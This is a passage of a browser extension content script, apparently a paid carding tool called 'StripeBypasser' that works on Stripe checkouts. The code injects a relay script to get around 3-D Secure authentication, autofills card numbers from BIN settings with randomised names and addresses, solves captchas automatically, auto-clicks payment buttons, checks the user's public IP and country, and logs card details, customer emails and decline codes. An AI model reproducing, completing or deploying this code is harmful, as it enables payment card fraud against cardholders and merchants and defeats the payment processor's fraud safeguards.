    window.StripeBypasserMessageBridge = stripeBypasserMessageBridge;
  }
  class Tracker {
    constructor(options = {}) {
      this.items = new Set();
      this.timeouts = new Map();
      this.maxSize = options.maxSize || 100;
      this.ttl = options.ttl || null;
    }
    has(value) {
      return this.items.has(value);
    }
    add(value) {
      if (this.items.size >= this.maxSize) {
        const oldestItem = this.items.values().next().value;
        this.delete(oldestItem);
      }
      this.items.add(value);
      if (this.ttl) {
        if (this.timeouts.has(value)) {
          clearTimeout(this.timeouts.get(value));
        }
        const timeoutResult = setTimeout(() => {
          this.items.delete(value);
          this.timeouts.delete(value);
        }, this.ttl);
        this.timeouts.set(value, timeoutResult);
      }
    }
    delete(value) {
      this.items.delete(value);
      if (this.timeouts.has(value)) {
        clearTimeout(this.timeouts.get(value));
        this.timeouts.delete(value);
      }
    }
    clear() {
      for (const timeoutId of this.timeouts.values()) {
        clearTimeout(timeoutId);
      }
      this.items.clear();
      this.timeouts.clear();
    }
  }
  function getTracker(trackerName, options = {}) {
    const trackerKey = "__StripeBypasserTracker_" + trackerName;
    const globalScope = typeof self != "undefined" && typeof window == "undefined" ? self : window;
    globalScope[trackerKey] ||= new Tracker(options);
    return globalScope[trackerKey];
  }
  function checkDuplicate(trackerName, value, options = {}) {
    const has = getTracker(trackerName, options);
    return !!has.has(value) || (has.add(value, options.ttl), false);
  }
  const stripeBypasserDeduplication = {
    Tracker: Tracker,
    getTracker: getTracker,
    checkDuplicate: checkDuplicate
  };
  if (typeof window != "undefined") {
    window.StripeBypasserDeduplication = stripeBypasserDeduplication;
  }
  if (typeof self != "undefined") {
    self.StripeBypasserDeduplication = stripeBypasserDeduplication;
  }
  function relayScreenshotRequest(value) {
    if (sendToBackground) {
      stripeBypasserLogger.debug("[ScreenshotRelay] Forwarding to background, reason:", value);
      sendToBackground({
        type: "TAKE_SCREENSHOT",
        reason: value || ""
      }, result => {
        if (!result) {
          return;
        }
        const detail2 = result.success ? {
          type: "STRIPE_BYPASSER_SCREENSHOT_SUCCESS",
          filename: result.filename
        } : {
          type: "STRIPE_BYPASSER_SCREENSHOT_ERROR",
          error: result.error || "Unknown error"
        };
        try {
          sendToMainWorld(detail2);
        } catch (error) {
          stripeBypasserLogger.warn("[ScreenshotRelay] Failed to forward screenshot response:", error);
        }
        try {
          const detail = {
            detail: detail2
          };
          document.dispatchEvent(new CustomEvent("stripeBypasserScreenshotResponse", detail));
        } catch (error) {
          stripeBypasserLogger.warn("[ScreenshotRelay] Failed to dispatch screenshot response event:", error);
        }
      });
    } else {
      stripeBypasserLogger.warn("[ScreenshotRelay] MessageBridge not available");
    }
  }
  const stripeBypasserDeduplication2 = {
    checkDuplicate: checkDuplicate
  };
  const stripeBypasserMessageBridge2 = {
    sendToBackground: sendToBackground,
    sendToMainWorld: sendToMainWorld
  };
  if (typeof window != "undefined") {
    window.StripeBypasserDeduplication ||= stripeBypasserDeduplication2;
    window.StripeBypasserLogger ||= stripeBypasserLogger;
    window.StripeBypasserMessageBridge ||= stripeBypasserMessageBridge2;
  }
  document.addEventListener("stripeBypasserScreenshot", event => {
    if (event.detail && event.detail.type === "STRIPE_BYPASSER_SCREENSHOT" && window.top === window.self) {
      relayScreenshotRequest(event.detail.reason);
    }
  });
  window.addEventListener("message", event => {
    if (event.data && event.data.type === "STRIPE_BYPASSER_SCREENSHOT" && window.top === window.self) {
      relayScreenshotRequest(event.data.reason);
    }
  });
  if (!window.__STRIPE_BYPASSER_CONTENT_INITIALIZED) {
    let isMobileViewport = function () {
      return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) || window.innerWidth <= 768 && window.innerHeight <= 1024;
    };
    let broadcastSettings = function () {
      chrome.storage.local.get(["bypasserSettings", "dbLicense"], bypasserSettings => {
        const settings2 = bypasserSettings.bypasserSettings || {};
        var dbLicense = bypasserSettings.dbLicense;
        function sendSettings() {
          sendToMainWorld({
            type: "STRIPE_BYPASSER_SETTINGS",
            settings: settings2
          });
        }
        if (dbLicense && dbLicense.valid) {
          if (dbLicense.expiresAt && new Date(dbLicense.expiresAt) < new Date()) {
            settings2.licenseActive = false;
          } else {
            settings2.licenseActive = true;
          }
        } else {
          settings2.licenseActive = false;
        }
        sendSettings();
        setTimeout(sendSettings, 100);
        if (dbLicense && dbLicense.valid && dbLicense.key) {
          try {
            const type = {
              type: "LICENSE_VALIDATE",
              key: dbLicense.key
            };
            chrome.runtime.sendMessage(type, licenseValidation => {
              if (!chrome.runtime.lastError) {
                if (licenseValidation && !licenseValidation.valid) {
                  chrome.storage.local.remove("dbLicense", () => {
                    settings2.licenseActive = false;
                    sendToMainWorld({
                      type: "STRIPE_BYPASSER_SETTINGS",
                      settings: settings2
                    });
                  });
                }
              }
            });
          } catch (error) {
            stripeBypasserLogger.warn("[Content] License validation relay failed:", error);
          }
        }
      });
    };
    let injectRelayScript = function () {
      chrome.storage.local.get(["bypasserSettings"], bypasserSettings => {
        if ((bypasserSettings && bypasserSettings.bypasserSettings ? bypasserSettings.bypasserSettings : {}).threeDSBypass) {
          sendToBackground({
            type: "GET_3DS_RELAY_ENDPOINT"
          }, relayEndpoint => {
            if (relayEndpoint && relayEndpoint.relayEndpoint && document && (document.head || document.documentElement) && chrome.runtime && chrome.runtime.getURL) {
              try {
                const document3 = document.createElement("script");
                document3.src = chrome.runtime.getURL("inject-relay.js") + "?e=" + encodeURIComponent(relayEndpoint.relayEndpoint);
                (document.head || document.documentElement).appendChild(document3);
                document3.remove();
              } catch (error) {
                stripeBypasserLogger.warn("[Content] Failed to inject relay script:", error);
              }
            }
          });
        }
      });
    };
    let broadcastAdvancedSettings = function () {
      chrome.storage.local.get(["bypasserAdvancedSettings"], bypasserAdvancedSettings => {
        const hardwareAcceleration = {
          hardwareAcceleration: true,
          reduceAnimations: false,
          autoCaptcha: false,
          captchaService: "autoclick",
          captchaApiKey: "",
          autofill: true,
          autofillCardData: true,
          autofillBillingData: true,
          autofillDelay: 7,
          customCardNumber: "0000000000000000",
          customCardExpiry: "08/29",
          customCardCvc: "000",
          customName: "",
          customAddress1: "",
          customAddress2: "",
          customLocality: "",
          useRandomNames: false,
          useRandomAddresses: false,
          customEmailDomainEnabled: false,
          customEmailDomain: "",
          autoClickButtons: true,
          autoClickDelay: 2000,
          ...(bypasserAdvancedSettings.bypasserAdvancedSettings || {})
        };
        const settings = hardwareAcceleration;
        sendToMainWorld({
          type: "STRIPE_BYPASSER_ADVANCED_SETTINGS",
          settings: settings
        });
        try {
          new Function("settings", "\n          try {\n            window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ = settings;\n            // Apply performance settings to body if available\n            if (document.body) {\n              if (settings.reduceAnimations) {\n                document.body.setAttribute('data-reduce-animations', 'true');\n              } else {\n                document.body.removeAttribute('data-reduce-animations');\n              }\n              if (settings.hardwareAcceleration !== false) {\n                document.body.setAttribute('data-hardware-acceleration', 'true');\n              } else {\n                document.body.removeAttribute('data-hardware-acceleration');\n              }\n            }\n          } catch(e) {\n            console.warn('[StripeBypasser] Failed to set advanced settings:', e);\n          }\n        ")(settings);
        } catch (error) {
          stripeBypasserLogger.warn("[Content] Function constructor blocked, using postMessage only:", error);
        }
      });
    };
    let getRiskSessionId = function () {
      try {
        const sessionStorage2 = sessionStorage.getItem("__db_risk_session_id");
        if (sessionStorage2 && sessionStorage2.trim()) {
          return sessionStorage2.trim();
        }
        const date = "sess_" + Date.now().toString(36) + "_" + Math.random().toString(36).slice(2, 10);
        sessionStorage.setItem("__db_risk_session_id", date);
        return date;
      } catch (error) {
        return "sess_" + Date.now().toString(36);
      }
    };
    let getRequestVelocityPerMinute = function () {
      const timestamp = Date.now();
      requestVelocityState.timestamps = requestVelocityState.timestamps.filter(item => timestamp - item < 60000);
      requestVelocityState.timestamps.push(timestamp);
      return requestVelocityState.timestamps.length;
    };
    let normalizePaymentStatus = function (value, value2) {
      const lowerText = String(value || "").toLowerCase();
      if (lowerText === "success") {
        return "success";
      }
      if (lowerText === "error") {
        return "failed";
      }
      const lowerText2 = String(value2 || "").toLowerCase();
      if (lowerText2.includes("payment succeeded")) {
        return "success";
      } else if (lowerText2.includes("payment failed")) {
        return "failed";
      } else if (lowerText2.includes("requires action")) {
        return "requires_action";
      } else {
        return "pending";
      }
    };
    let resolveGatewayName = function (value, gateway) {
      if (gateway && gateway.gateway) {
        return String(gateway.gateway).toLowerCase();
      }
      const matchResult = String(value || "").match(/^([A-Za-z0-9_ -]+):\s*Payment/i);
      if (matchResult && matchResult[1]) {
        return matchResult[1].trim().toLowerCase();
      } else {
        return "unknown";
      }
    };
    let extractPaymentId = function (value) {
      const matchResult = String(value || "").match(/Payment ID:\s*([A-Za-z0-9_.:-]+)/i);
      if (matchResult && matchResult[1]) {
        return matchResult[1];
      } else {
        return "";
      }
    };
    let extractDeclineCode = function (value) {
      const matchResult = String(value || "").match(/Decline Code:\s*([A-Za-z0-9_.:-]+)/i);
      if (matchResult && matchResult[1]) {
        return matchResult[1];
      } else {
        return "";
      }
    };
    let buildRiskEvaluationPayload = function (value, value2, responseText) {
      var responseData;
      const paymentId = extractPaymentId(value);
      if (!paymentId) {
        return null;
      }
      const gateway = resolveGatewayName(value, responseText);
      const status = normalizePaymentStatus(value2, value);
      const reasonCode = extractDeclineCode(value) || String((responseText == null ? undefined : responseText.responseText) || "");
      const requestVelocityPerMin = getRequestVelocityPerMinute();
      const language = navigator.language || "";
      const timezone = (() => {
        try {
          return Intl.DateTimeFormat().resolvedOptions().timeZone || "";
        } catch (error) {
          return "";
        }
      })();
      const booleanResult = Boolean(language && timezone && !timezone.toLowerCase().includes(language.toLowerCase().split("-")[0]));
      const amount = Number((responseText == null ? undefined : responseText.amount) || 0);
      const stringResult = String(((responseData = responseText == null ? undefined : responseText.responseData) == null ? undefined : responseData.id) || paymentId);
      const idempotencyKey = "risk_" + gateway + "_" + status + "_" + paymentId + "_" + (reasonCode || "none");
      const accountId = (() => {
        try {
          return "acct_" + (window.location && window.location.hostname ? window.location.hostname : "unknown");
        } catch (error) {
          return "acct_unknown";
        }
      })();
      const account = {
        id: accountId
      };
      const ipIntel = {
        providerUnavailable: true,
        reputationScore: 0,
        isProxy: false,
        isVpn: false,
        isTor: false,
        isHosting: false
      };
      return {
        idempotencyKey: idempotencyKey,
        session: {
          id: getRiskSessionId()
        },
        event: {
          id: idempotencyKey,
          type: "payment_outcome",
          transactionId: stringResult
        },
        account: account,
        source: "extension_content",
        ipIntel: ipIntel,
        network: {
          ipVelocityPerHour: requestVelocityPerMin * 8,
          subnetVelocityPerHour: requestVelocityPerMin * 16
        },
        footprint: {
          language: language,
          timezone: timezone,
          timezoneLanguageMismatch: booleanResult,
          userAgentConsistency: 100,
          deviceProfileConsistency: 100,
          screenProfileConsistency: 100,
          headerEntropyScore: 0,
          requestVelocityPerMin: requestVelocityPerMin,
          behaviorVelocityPerMin: requestVelocityPerMin
        },
        historical: {
          successCount: status === "success" ? 1 : 0,
          failedCount: status === "failed" ? 1 : 0,
          chargebackCount: 0,
          disputeCount: 0,
          accountAgeDays: 30,
          repeatedDeclines: status === "failed" ? 1 : 0
        },
        context: {
          gateway: gateway,
          paymentId: paymentId,
          status: status,
          amount: amount,
          reasonCode: reasonCode,
          url: window.location && window.location.href ? window.location.href : ""
        }
      };
    };
    let triggerRiskEvaluation = function (messageText, logType, logData) {
      const payload = buildRiskEvaluationPayload(messageText, logType, logData);
      if (payload) {
        if (!recentRiskEvaluationTracker.has(payload.idempotencyKey)) {
          recentRiskEvaluationTracker.add(payload.idempotencyKey);
          sendToBackground({
            type: "RISK_EVALUATE",
            idempotencyKey: payload.idempotencyKey,
            payload: payload
          }, result => {
            if (!chrome.runtime.lastError && result && result.success && result.data) {
              try {
                const type = {
                  type: "STRIPE_BYPASSER_RISK_EVALUATION_RESULT",
                  evaluationId: result.data.evaluationId || "",
                  riskScore: result.data.riskScore,
                  riskLevel: result.data.riskLevel,
                  recommendedAction: result.data.recommendedAction,
                  reasons: result.data.reasons || [],
                  paymentId: payload.context.paymentId,
                  gateway: payload.context.gateway
                };
                window.postMessage(type, "*");
              } catch (error) {
                stripeBypasserLogger.warn("[Content] Failed to broadcast risk evaluation:", error);
              }
            }
          });
        }
      }
    };
    let relayPaymentLog = function (messageText, value, value2) {
      if (!messageText || !messageText.trim()) {
        return;
      }
      const logDedupKey = messageText + "_" + value + "_" + Math.floor(Date.now() / 1000);
      if (recentLogTracker.has(logDedupKey)) {
        return;
      }
      recentLogTracker.add(logDedupKey);
      if (!sendToBackground) {
        return;
      }
      const type = {
        type: "PAYMENT_LOG",
        message: messageText,
        logType: value || "info"
      };
      if (value2 && typeof value2 == "object") {
        Object.assign(type, value2);
      }
      sendToBackground(type, value => {
        chrome.runtime.lastError;
      });
      triggerRiskEvaluation(messageText, value, value2);
    };
    let relayBypasserEvent = function (eventType, messageText) {
      if (messageText && messageText.trim()) {
        sendToBackground({
          type: "BYPASSER_EVENT",
          eventType: eventType,
          message: messageText
        });
      }
    };
    const stripeBypasserMessageBridge3 = {
      sendToBackground: sendToBackground,
      sendToMainWorld: sendToMainWorld
    };
    const stripeBypasserDeduplication3 = {
      getTracker: getTracker
    };
    window.__STRIPE_BYPASSER_CONTENT_INITIALIZED = true;
    if (typeof window != "undefined") {
      window.StripeBypasserMessageBridge = stripeBypasserMessageBridge3;
      window.StripeBypasserDeduplication = stripeBypasserDeduplication3;
      window.StripeBypasserLogger = stripeBypasserLogger;
    }
    if (typeof window != "undefined") {
      window.__STRIPE_BYPASSER_IS_MOBILE__ = isMobileViewport();
    }
    if (typeof window != "undefined") {
      window.addEventListener("message", event => {
        var event2;
        if (((event2 = event == null ? undefined : event.data) == null ? undefined : event2.type) !== "DB_3DS_RELAY_REQUEST" || !event.data.payload) {
          return;
        }
        const {
          requestId: requestId,
          body: body
        } = event.data.payload;
        const origin = typeof window != "undefined" && window.location && window.location.origin ? window.location.origin : "";
        const referer = typeof document != "undefined" && document.referrer ? document.referrer : origin ? origin + "/" : "";
        const type = {
          type: "3DS_RELAY",
          url: "https://api.stripe.com/v1/3ds2/authenticate",
          body: body,
          origin: origin,
          referer: referer
        };
        chrome.runtime.sendMessage(type, error => {
          if (chrome.runtime.lastError) {
            window.postMessage({
              type: "DB_3DS_RELAY_RESPONSE",
              payload: {
                requestId: requestId,
                error: chrome.runtime.lastError.message || "Extension error"
              }
            }, "*");
            return;
          }
          const payload = (error == null ? undefined : error.error) ? {
            requestId: requestId,
            error: error.error
          } : {
            requestId: requestId,
            status: error == null ? undefined : error.status,
            statusText: error == null ? undefined : error.statusText,
            headers: error == null ? undefined : error.headers,
            body: error == null ? undefined : error.body
          };
          const type2 = {
            type: "DB_3DS_RELAY_RESPONSE",
            payload: payload
          };
          window.postMessage(type2, "*");
        });
      });
    }
    broadcastSettings();
    injectRelayScript();
    broadcastAdvancedSettings();
    chrome.storage.onChanged.addListener(changes => {
      if (changes.bypasserSettings) {
        broadcastSettings();
      }
      if (changes.bypasserSettings || changes.bypasserAdvancedSettings) {
        injectRelayScript();
      }
      if (changes.bypasserAdvancedSettings) {
        broadcastAdvancedSettings();
      }
    });
    const recentLogTracker = getTracker("Logs", {
      maxSize: 200,
      ttl: 5000
    });
    const recentRiskEvaluationTracker = getTracker("RiskEval", {
      maxSize: 400,
      ttl: 15000
    });
    const requestVelocityState = {
      timestamps: []
    };
    chrome.runtime.onMessage.addListener((message, sender, sendResponse) => message.type === "RELOAD_SETTINGS" ? (broadcastSettings(), window.dispatchEvent(new CustomEvent("stripeBypasserReloadSettings")), sendResponse({
      success: true
    }), false) : message.type === "SHOW_BANNER" ? (sendToMainWorld({
      type: "STRIPE_BYPASSER_SHOW_BANNER",
      bannerText: message.bannerText || "Configuration saved successfully!",
      bannerType: message.bannerType || "success",
      details: message.details || null
    }), sendResponse({
      success: true
    }), false) : message.type === "SHOW_NOTIFICATION" && (sendToMainWorld({
      type: "DEEP_BYPASSER_SHOW_NOTIFICATION",
      text: message.text || "Configuration saved successfully!",
      type: message.notificationType || "success"
    }), sendResponse({
      success: true
    }), false));
    if (window.__STRIPE_BYPASSER_PAGE_MESSAGE_HANDLER__) {
      window.removeEventListener("message", window.__STRIPE_BYPASSER_PAGE_MESSAGE_HANDLER__);
    }
    const stripeBypasserPageMessageHandler = data => {
      if (data.data) {
        if (data.data.type === "STRIPE_BYPASSER_GET_SETTINGS") {
          chrome.storage.local.get(["bypasserSettings"], bypasserSettings => {
            sendToMainWorld({
              type: "STRIPE_BYPASSER_SETTINGS_RESPONSE",
              requestId: data.data.requestId,
              settings: bypasserSettings.bypasserSettings || {}
            });
          });
        } else if (data.data.type === "STRIPE_BYPASSER_PAYMENT_LOG") {
          const cardInfo = {
            cardInfo: data.data.cardInfo,
            amount: data.data.amount,
            responseText: data.data.responseText,
            gateway: data.data.gateway,
            merchant: data.data.merchant,
            successUrl: data.data.successUrl,
            siteUrl: data.data.siteUrl,
            customerEmail: data.data.customerEmail,
            url: data.data.url,
            responseData: data.data.responseData
          };
          const cardInfo2 = cardInfo;
          relayPaymentLog(data.data.message, data.data.logType || "info", cardInfo2);
        } else if (data.data.type === "STRIPE_BYPASSER_EVENT") {
          relayBypasserEvent(data.data.eventType, data.data.message);
        } else if (data.data.type === "STRIPE_BYPASSER_SHOW_BANNER") {
          const data4 = data.data.bannerText + "_" + data.data.bannerType + "_" + (data.data.details || "");
          const timestamp = Date.now();
          window.__contentBannerMessages ||= new Map();
          const fetchedData2 = window.__contentBannerMessages.get(data4);
          if (fetchedData2 && timestamp - fetchedData2 < 2000) {
            return;
          }
          window.__contentBannerMessages.set(data4, timestamp);
          for (const [__contentBannerMessageKey, __contentBannerMessageValue] of window.__contentBannerMessages.entries()) {
            if (timestamp - __contentBannerMessageValue > 10000) {
              window.__contentBannerMessages.delete(__contentBannerMessageKey);
            }
          }
          if (window.__contentBannerMessages.size > 50) {
            const sortResult = Array.from(window.__contentBannerMessages.entries()).sort((left, right) => left[1] - right[1]);
            sortResult.slice(0, sortResult.length - 50).forEach(([itemKey]) => window.__contentBannerMessages.delete(itemKey));
          }
          try {
            sendToMainWorld({
              type: "STRIPE_BYPASSER_SHOW_BANNER",
              bannerText: data.data.bannerText,
              bannerType: data.data.bannerType,
              details: data.data.details
            });
          } catch (error) {
            stripeBypasserLogger.warn("[Content] Error forwarding banner message:", error);
          }
        } else if (data.data.type === "STRIPE_BYPASSER_UPDATE_BIN") {
          chrome.storage.local.get(["bypasserSettings"], bypasserSettings => {
            var bypasserSettings2 = bypasserSettings.bypasserSettings || {};
            bypasserSettings2.bin = data.data.bin;
            chrome.storage.local.set({
              bypasserSettings: bypasserSettings2
            });
          });
        } else if (data.data.type === "STRIPE_BYPASSER_UPDATE_ENABLED") {
          chrome.storage.local.get(["bypasserSettings"], bypasserSettings => {
            var bypasserSettings2 = bypasserSettings.bypasserSettings || {};
            bypasserSettings2.enabled = data.data.enabled;
            chrome.storage.local.set({
              bypasserSettings: bypasserSettings2
            });
          });
        } else if (data.data.type === "STRIPE_BYPASSER_GET_IP_COUNTRY") {
          try {
            sendToBackground({
              type: "GET_IP_COUNTRY",
              requestId: data.data.requestId
            }, function (result) {
              const type = {
                type: "STRIPE_BYPASSER_GET_IP_COUNTRY_RESPONSE",
                requestId: data.data.requestId,
                success: result && result.success,
                countryCode: result && result.countryCode,
                error: result && result.error
              };
              window.postMessage(type, "*");
            });
          } catch (error) {
            const type = {
              type: "STRIPE_BYPASSER_GET_IP_COUNTRY_RESPONSE",
              requestId: data.data.requestId,
              success: false,
              error: error.message || "Relay failed"
            };
            window.postMessage(type, "*");
          }
        } else if (data.data.type === "STRIPE_BYPASSER_CAPTCHA_API_PROXY") {
          try {
            sendToBackground({
              type: "CAPTCHA_API_PROXY",
              requestId: data.data.requestId,
              url: data.data.url,
              method: data.data.method || "GET",
              headers: data.data.headers || {},
              body: data.data.body
            }, function (result) {
              const type = {
                type: "STRIPE_BYPASSER_CAPTCHA_API_PROXY_RESPONSE",
                requestId: data.data.requestId,
                success: result && result.success,
                status: result && result.status,
                statusText: result && result.statusText,
                body: result && result.body,
                json: result && result.json,
                error: result && result.error
              };
              window.postMessage(type, "*");
            });
          } catch (error) {
            const type = {
              type: "STRIPE_BYPASSER_CAPTCHA_API_PROXY_RESPONSE",
              requestId: data.data.requestId,
              success: false,
              error: error.message || "Proxy relay failed"
            };
            window.postMessage(type, "*");
          }
        } else if (data.data.type === "STRIPE_BYPASSER_GET_PUBLIC_IP") {
          try {
            sendToBackground({
              type: "GET_PUBLIC_IP"
            }, function (result) {
              const type = {
                type: "STRIPE_BYPASSER_PUBLIC_IP_RESPONSE",
                requestId: data.data.requestId,
                success: !!result && !!result.success,
                ip: result && result.success ? result.ip : "",
                error: result && result.error ? result.error : ""
              };
              window.postMessage(type, "*");
            });
          } catch (error) {
            const type = {
              type: "STRIPE_BYPASSER_PUBLIC_IP_RESPONSE",
              requestId: data.data.requestId,
              success: false,
              ip: "",
              error: error.message || "IP relay failed"
            };
            window.postMessage(type, "*");
          }
        } else if (data.data.type === "DEEP_BYPASSER_OPEN_OPTIONS") {
          sendToBackground({
            type: "OPEN_OPTIONS_PAGE"
          }, () => {});
        }
      }
    };
    window.__STRIPE_BYPASSER_PAGE_MESSAGE_HANDLER__ = stripeBypasserPageMessageHandler;
    window.addEventListener("message", stripeBypasserPageMessageHandler);
    document.addEventListener("stripeBypasserPaymentLog", event => {
      if (event.detail && event.detail.type === "STRIPE_BYPASSER_PAYMENT_LOG") {
        const cardInfo = {
          cardInfo: event.detail.cardInfo,
          amount: event.detail.amount,
          responseText: event.detail.responseText,
          gateway: event.detail.gateway,
          merchant: event.detail.merchant,
          successUrl: event.detail.successUrl,
          siteUrl: event.detail.siteUrl,
          customerEmail: event.detail.customerEmail,
          url: event.detail.url,
          responseData: event.detail.responseData
        };
        const cardInfo2 = cardInfo;
        relayPaymentLog(event.detail.message, event.detail.logType || "info", cardInfo2);
      }
    });
    document.addEventListener("stripe-bypasser-event", event => {
      if (event.detail) {
        relayBypasserEvent(event.detail.type, event.detail.msg);
      }
    });
  }
  return contentScriptExecution;
}();
